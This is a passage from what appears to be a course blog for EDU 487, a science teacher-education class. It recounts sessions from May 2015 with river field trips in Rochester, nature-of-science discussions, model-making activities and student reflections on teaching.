mindset in our students.

From Maplewood Park, we went across the Driving Park Bridge and headed to Seth Green Drive.  We took a walk through time.  The gorge cuts through layers of rocks that, if you speak rock, tell quite a story of the area’s past.  These rocks formed starting 450 million years ago at the bottom of a shallow inland sea.  The variation in rock type and thickness record the regressions and transgressions of this sea.  The Genesee River has graciously cut its way through these layers giving us a glimpse into the past. This is my favorite picture of the group (so far)… taken at river’s edge just below lower falls.

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Back in the cars, headed north, and hiked at Turning Point Park… lots to see and explore along the bend in the river there.  Here is another favorite picture from there.

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Just before getting into our cars and heading back to campus/home, we finished with a closure…what did we learn…. many comments focused on the sharing of science with the folks we met along the way.  Ella’s closing remark about being open to the science around you and to sharing it with others was a great way to end class!

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EDU 487-May 26, 2015

Before class we got an article from today’s newspaper… an article on Blue-Green Algae…

Blue-green algae Democrat_and_Chronicle_20150526_A05_0

Out of the Classroom… into another type of classroom….Genesee Valley Park at the Boathouse

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Topic of the Day… Models….done on our personal sized white boards… here are a few:

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by Dr. Sean

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by Dan

Graffiti Board….visualizations which come to mind when you hear the word: model

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Tingyu visualized a cell and cell structure

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Using his graffiti letter and lingo… Dan cleverly wrote “Represent”

For the written portion of the “As you Enter” assignment…folks were asked to author a syntactic model, specifically a metaphor, using a science tool as a metaphor for oneself. JoAnn gave this example they were given:

Tool-Microscope: microscopes can give us a view of normally unseen vistas allowing us to discover what is hidden.

Metaphor-Looking at you with microscope eyes, I see your hidden nature.

Ian-used a calorimeter (an instrument for measuring energy released) to talk about himself, he wrote: I know I’m overheating out here. I am a calorimeter.

Dan wrote: She studied Chemistry with a bunsen-burning desire that heated the room.

Sharon’s metaphor: I am a coverslide to your knowledge, keeping ideas and inquiry restricted to the topic we are discovering

Xiaoyu drew a caterpillar and a butterfly and then wrote: When I survive this course, I will transform from a caterpillar to a butterfly!

Read-Aloud: a passage from Bill Bryson’s A Short History of Nearly Everything, read by Sean.  Before starting, Sean asked the listeners to pay attention to another type of syntactic model used in the passage… the analogy.  Here is a link to the passage he read:

Cells A Short History of Nearly Everything Bill Bryson p472

Students were reminded of safety rules and then sent out to explore the Genesee River. They were tasked with making observations; taking photos; sketching; and recording questions that arise.

Just as they arrived back to the picnic table, big splats of rain started to fall… the folks that are in charge of the Crew Teams and Boathouse, generously let us move into their office during the rainstorm.  Whew!  Crisis averted, we didn’t have to rush back to campus.  In case you have an interest, there is a free family event at the Boathouse June 6th from noon until 4:00.  Check out the flyer: (sorry, I don’t know how to flip this, the original is in the right orientation, but when I moved it to here, it got rotated, maybe someone can tell me how to fix it)

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We had a quick share of our observations and questions:  several folks noted some garbage in and along the river and wondered what the effect the garbage had on the water; they noticed all kinds of wild life and evidence of wild life and wondered about the impact of the water on the wild life and the wild life on the water; they noted that there was a lot of traffic on the bridges over the river and in the park itself and wondered about the impact of the traffic on the water quality; they noted the park’s grass and wondered what chemicals were used on the grounds and if what they are putting on the lawns was getting into the water; they were intrigued with the drain pipe entering the river and wondered about human’s impact on the river

From there we had a lively discussion about the readings. Sharon started the conversation by posing two questions to the group that she wanted some input on: if model-based inquiry truly is a point of access for science learners, she wanted to know… access for who and aren’t those points going to be different depending on the individual learner? Daniel thought that different learning styles would benefit from the use of different types of models. Dan models can afford accessibility; dynamic model production better represents Nature of Science and goes beyond just giving information.

Sharon wondered about the statement that some background information was needed before model making began.  There were some great ideas that followed: Daniel said that it was important to revisit and revise models over time; Dan said it was important to connect work/demos/activities to concepts that could be added to the models.  JoAnn had to interrupt asking folks to remember that a starting point would be the background knowledge students had…that accessing prior knowledge is an important first step.

As the conversation continued about the ways model making exemplified Nature of Science (collaborative, built over time, interactive, fluid and multi-faceted, Mike added this to the conversation…use of models and model making is a “curricular mindset” vs. a “curricular event”.

The discussion finished with Sean commenting on discussion protocol.  Good use of all of the discussion protocols… for next time be sure to be ready to cite the sources vs. saying “one of the readings”.   Sharon suggested we add another box to the template where students would write the title, author and a statement about the content.  This would act as a reminder of the source.

Students were asked to form two work groups.  Each group was challenged to discuss a plan of action-what data would be collected; how it will be collected; how it would be recorded and to set a goal for the day’s data collection. When the group completed their initial brainstorming session, they were to get instructor approval and then go start data collection… here are some photos of the groups in action, and while they were busy, the instructors took a moment to get a selfie…

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Instructor selfie… class selfie next time

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We got into the cars and headed to the next stop… downstream … Cornhill landing.  No time for data collection, but time to make observations and ask questions!

Ending with a what did we do? why did we do it? what practices did we use? discussion, a quick reminder that seminar would start at 3:30 and it would be held at Upper Falls… no time for closure… but it was announced that the closure activity would be moved to the next class… the written part of the “As you enter” activities.

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EDU 487 May 21, 2015

Topic of the Day… Nature of Science…

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Nature of Science-starting thoughts…evidence based; tentative; accessible to everyone; an exploration of ideas; Not Only Science facts…. what else will we add as we go through the course?

 

Graffiti Board … illustrate a water cycle word or process…

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Sharon’s illustration questions the use of the term “cycle”; Dan adds his own twist-convection cell within an ocean and goes on to explain to us the impact on the water cycle created by these cells; Daniel illustrated transpiration-water vapor entering the atmosphere as a by-product of photosynthesis in the tree, he also added a cloud and some rain, showing condensation and precipitation; Sean sketched out some hills, rain, and runoff (water flowing on the surface, downhill, pulled to lower spots by gravity; Jo Ann added infiltration…snaking the word around the unconsolidated sediments below the earth’s surface

For the written portion of the “As you Enter” assignment, folks were asked to consider three statements; to choose 2 to interpret and reflect upon. The statements were inspired by the readings; the interpretations and reflections should offer a window into the thinking about those readings.

1. “Science is at the frontier of knowledge and ignorance.” Neil deGrasse Tyson

DZ shared this thought: Science is about accepting that we do not have all the answers, and simultaneously about having the drive to pursue them!

SD quoted from the reading: “Scientific literacy is clearly about knowing but is also about a way of thinking and acting” (Murcia, 2005); she also cautioned that those who are scientifically literate have access to social capital and communities that may not be accessible with said knowledge.  

2.  “Knowledge produced through science is different when scientists with fresh perspectives begin to participate.” Settlage and Southerland

DB noted that Settlage and Southerland also said that Science knowledge production is subjective. DB added that realizing this allows us to better accept fresh perspectives of our students and value their knowledge, background, experiences, and ideas.  He went on to say that fresh is different, and in science, different is good because different means change.

SD wanted us to consider that fact that no science is truly fact, in science there is only “disprovability”; student discovery and input adds value to science

  1. Without writing, where would our thoughts go?

DB loved this quote.  It is a nature of science that science builds off of the knowledge of the past and other contemporaries.  For this to happen, the ideas we produce must be permanent. Writing allows us to put our ideas down for posterity (and scrutiny of others).

IP questioned-without writing, where is the permanence of our thoughts? New literacies enhance permanence further.

DZ wrote that expressing oneself is something I find to be of personal preference. As was said in the blogging reading, how can I be certain i know it unless I’ve written it down? The ability to form language understandable by others is a key component to any learning, especially that of science.  DZ’s ideas made me think to add… this is why continual assessment of individual’s ideas is such an important element of classroom planning.

Next up on the agenda was a bit of time for questions about the course syllabus and UbD.  We were able to clear up some questions about reading assignment due dates.  To be clear.. the reading folder states the date that the readings are assigned; the critical claim, discussion prompts, and class discussion will be due by the next class… Critical Claim and discussion of the 5/19 reading folder will take place on 5/21.

We spent the next portion of class discussing the readings.  The instructors gave some feedback and reminders about the critical claims: single space, narrow margins, small font size; header should contain the assignment title, the student’s name, and the authors of the readings; the footer should contain the important vocabulary and definitions.  The narrative should start with the claim (the theme or message that cuts across all of the readings) and be followed by supporting evidence from the readings, citations should use APA formatting. The claim should be limited to one page. A second page may be used to list the references, again in APA format.

In addition to sending in the Critical Claim, before class, students were asked to complete a Discussion Prompt and Questions page to bring with them to class to use during the discussion (and then submit).  Here is the template for that page:

WorksheetWorks_Discussion_Points_and_Questions_1

Next, we looked at the Topic of the Day board.  Each person read and spoke a bit about what they had written.  This quick review of NOS situated us nicely for the next task…while watching the video about Martian gullies, note evidence of NOS, be ready for class discussion.

http://https://www.youtube.com/watch?v=_CuK7bqa0zA

800px-Evidence_for_Recent_Liquid_Water_on_Mars-_Gullies_-_GPN-2000-001984

This is a list of the NOS we spotted… what can you add?: they made observations; they tried to explain a phenomena that was different than what is seen on Earth; they made models to explain their ideas; they tried out a number of ideas, tested and revised their tests; it was collaborative; driven by curiosity; persisted when expectations didn’t go as originally thought; and it had an element of fun!

During a Read-Aloud of Fish is Fish by Leo Lionni, students were asked to listen, and when instructed, to visualize what was being described in the story.  Armed with colored pencils, students were to sketch their visualizations. (My only regret is that I did not take pictures of their visualizations, students put them in their journals, so I may be able to upload the pics at another time). Predictions about where the story was going were made along the way.  At the end, students paired and shared their visualizations.  They were then asked to committo paper, their thoughts about these prompts, and told that a discussion of their responses would ensue:

  1. Fish’s visualizations in the context of our readings.
  2. Your visualizations compared to Fish’s.
  3. Ideas for science lessons inspired by the story.
  4. Implications for teaching and the way students learn.

The general consensus… just because we (the teacher) says something, doesn’t mean the student receives it the way it was intended; that student background, prior knowledge will influence thoughts when a new situation is being considered; it is important to consider one’s own biases when sharing information; important to remember to try to see through the eyes of your students. These comments made me think of this picture…

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In our minds, we are perfectly clear about our meaning… doesn’t mean the listener shares our clarity

Next on the agenda:  Equipment and its use.  To prepare for our next three classes that will take place out of the classroom as we explore various points along the Genesee River, students were shown the equipment that will be available for their use and got some practice in the use of the equipment.  The equipment available for use: iPads, Data Hubs, Whirl-Pak bags, Coliscan Easy Gel and plates; microscopes; pH paper; water test strips; surveyor wheel; Go-Pro.

Tool kit page

We took a break and practiced DEAR (drop everything and read):

Untapped resource p2 Democrat_and_Chronicle_20140525_A23_0

Untapped Source p1 Democrat_and_Chronicle_20140525_A01_0

We revisited our drainage divide and basin model, talked about its limitations and affordances.

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We named a few: Affordances-showed a landscape that would create the drainage pattern that had been drawn on the page; showed that the divides were the high points in the landscape Limitations-didn’t show scale, or extent of the basin

From there we pasted a mini-map of the Genesee River and its tributaries into our journals. And used that map to help us identify the Genesee River and drainage basin on a map of NYS river systems. We looked at and also added to our journals, a diagram of the Genesee River and rock formations that it traverses.

Of course, we ran out of time, so we will do the other model making activities another day.  For summary we listed the 8-practices that we used in class today.

For closure, folks wrote about the implications of today’s discussion and activities on their future teaching practices.

DZ wrote: You never know exactly what is going on in your student’s heads. Thus, it is imperative to ensure that you consider the students’ prior experiences and not assume that you share an understanding.

SD had a variety of ways the lesson would impact her future practice: showing all students the materials and vocabulary prior to an experience allows for equity between learners and hopefully a more successful investigative experience; the nature of science has a profound influence on the classroom environment and the attempt to immerse all students into scientific culture; use of models between different class discussions generate contextual meaning for all students; be cognizant of my language and the way that my own descriptions and interpretations can be different for other students and teachers.

IP was amazed how much of an effect knowing tools and materials has. Engage your students with Scientific Practices and they will get involved; perception of students will be as diverse as their past experiences are…value that!

DB thought the Fish is Fish read-aloud and activity made him starkly aware of the lens he uses to answer questions and view the world and how that lens might be different than that of my students. This lens is part of my identity and sharing the construction of that lens with students allows us to build a classroom culture that include our students, all of our identities and is part of a broader culture of science.  DB went on to say that by discussing and recognizing NOS, I can be explicit about not only using these in my teaching, but dissecting these natures through teaching, constructing an understanding of them with students.

Another fine class!

 

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